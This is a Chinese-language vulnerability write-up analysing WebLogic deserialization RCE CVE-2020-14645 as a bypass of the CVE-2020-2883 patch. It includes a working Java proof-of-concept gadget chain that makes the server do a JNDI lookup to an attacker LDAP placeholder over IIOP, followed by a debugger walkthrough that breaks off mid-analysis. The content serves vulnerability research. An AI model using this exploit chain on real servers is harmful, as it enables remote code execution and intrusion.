前言
近期公布的关于 Weblogic 的反序列化RCE漏洞 CVE-2020-14645,是对 CVE-2020-2883的补丁进行绕过 。之前的 CVE-2020-2883 本质上是通过 ReflectionExtractor 调用任意方法,从而实现调用 Runtime 对象的 exec 方法执行任意命令,补丁将 ReflectionExtractor 列入黑名单,那么可以使用 UniversalExtractor 重新构造一条利用链 。UniversalExtractor 任意调用 get、is方法导致可利用 JDNI 远程动态类加载 。UniversalExtractor 是 Weblogic 12.2.1.4.0 版本中独有的,本文也是基于该版本进行分析 。
漏洞复现
漏洞利用 POC,以下的分析也是基于该 POC 进行分析
ChainedExtractor chainedExtractor = new ChainedExtractor(new ValueExtractor[]{new ReflectionExtractor("toString",new Object[]{})});
PriorityQueue<Object> queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor));
queue.add("1");
queue.add("1");
//构造 UniversalExtract 调用 JdbcRowSetImpl 对象的任意方法
UniversalExtractor universalExtractor = new UniversalExtractor();
Object object = new Object[]{};
Reflections.setFieldValue(universalExtractor,"m_aoParam",object);
Reflections.setFieldValue(universalExtractor,"m_sName","DatabaseMetaData");
Reflections.setFieldValue(universalExtractor,"m_fMethod",false);
ValueExtractor[] valueExtractor_list = new ValueExtractor[]{universalExtractor};
Field[] fields = ChainedExtractor.class.getDeclaredFields();
Field field = ChainedExtractor.class.getSuperclass().getDeclaredField("m_aExtractor");
field.setAccessible(true);
field.set(chainedExtractor,valueExtractor_list);
JdbcRowSetImpl jdbcRowSet = Reflections.createWithoutConstructor(JdbcRowSetImpl.class);
jdbcRowSet.setDataSourceName("ldap://ip:端口/uaa");
Object[] queueArray = (Object[])((Object[]) Reflections.getFieldValue(queue, "queue"));
queueArray[0] = jdbcRowSet;
// 发送 IIOP 协议数据包
Context context = getContext("iiop://ip:port");
context.rebind("hello", queue);
成功弹出计算机
文章插图
漏洞分析
了解过 JDNI 注入的都知道漏洞在 lookup() 出发,这里在 JdbcRowSetImpl.class 中 326 行 lookup() 函数处设置断点,以下为漏洞利用的简要调用链条:
文章插图
我们从头分析,我们都知道反序列化的根本是对象反序列化的时候,我们从 IO 流里面读出数据的时候再以这种规则把对象还原回来 。我们在 in.readObject() 处打断点,跟进查看 PriorityQueue.readObject() 方法
文章插图
这里 782 执行 s.defaultReadObject(),785 执行 s.readInt() 赋给对象输入流大小以及数组长度,并在 790 行执行 for 循环,依次将 s.readObject() 方法赋值给 queue 对象数组,这里 queue 对象数组长度为 2 。
文章插图
接着往下跟,查看 heapify() 方法 。PriorityQueue 实际上是一个最小堆,这里通过 siftDown() 方法进行排序实现堆化,
文章插图
跟进 siftDown() 方法,这里首先判断 comparator 是否为空
文章插图
我们可以看看 comparator 是怎么来的,由此可见是在 PriorityQueue 的构造函数中被赋值的,在初始化构造时,除了给 this.comparator 进行赋值之外,通过 initialCapacity 进行初始化长度 。
文章插图
comparator 不为空,所以我们执行的是 siftDownUsingComparator() 方法,所以跟进 siftDownUsingComparator() 方法 。
继续跟进 ExtractorComparator.compare() 方法
文章插图
这里调用的是 this.m_extractor.extract() 方法,
文章插图
来看看 this.m_extractor,这里传入了 extractor,
文章插图
this.m_extractor 的值是与传入的 extractor 有关的 。这里需要构造 this.m_extractor 为 ChainedExtractor,才可以调用 ChainedExtractor 的 extract() 方法实现 extract() 调用 。
继续跟进 ChainedExtractor.extract() 方法,
推荐阅读
- 历史上的太子都是怎么死的 太子谋反有成功的吗
- PS图文教程 : 灯泡里的世界
- 老茶的功效与作用,青茶的功效与作用是什么
- 喝茶的注意事项,喝茶注意事项有哪些
- 吃鸭肉的禁忌有哪些方面
- 五红汤的食用禁忌和好处
- 微波炉热粥会产生哪些伤害呢?
- 好茶叶的四种辨别方法,辨别干仓普洱茶
- 睡眠时错误的认知介绍
- 国际茶叶标准,茶叶清洁的关键